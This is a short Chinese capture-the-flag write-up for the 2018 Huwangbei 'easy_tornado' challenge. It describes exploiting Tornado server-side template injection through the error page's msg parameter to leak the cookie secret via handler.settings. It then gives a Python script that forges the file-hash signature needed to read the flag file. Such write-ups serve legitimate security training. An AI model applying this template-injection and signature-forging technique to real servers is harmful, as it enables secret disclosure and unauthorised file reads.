[护网杯 2018] easy_tornado
题目名字 tornado 百度搜一下,是个 python 的 web 框架
题目给了 3 个文件
第一个文件知道了,flag 在 /fllllllllllllag
第二个文件知道是 python 的 render 模块生成的页面
在 url 中看出来,读取文件,需要俩个参数,一是文件名。二是文件的 hash 验证。
我们直接读取会跳转报错页面,且 msg 参数可控,那么这里就能造成命令注入了。
tornado 模板 可以用 handler.settings 获取环境变量。
参考: python SSTI tornado render 模板注入
在第三个文件,还知道了文件 hash 的计算方式,那么写脚本,即可生成 hash
脚本如下:
import hashlib | |
def md5encode(str): | |
m = hashlib.md5() | |
m.update(str) | |
return m.hexdigest() | |
name = '/fllllllllllllag' | |
secret = '5bdc4b25-cc6f-478e-8f2a-899ca43b4364' | |
name = name.encode() | |
bb = md5encode((secret + md5encode(name)).encode()) | |
print(bb) |
生成 hash 提交访问,即可拿到 flag。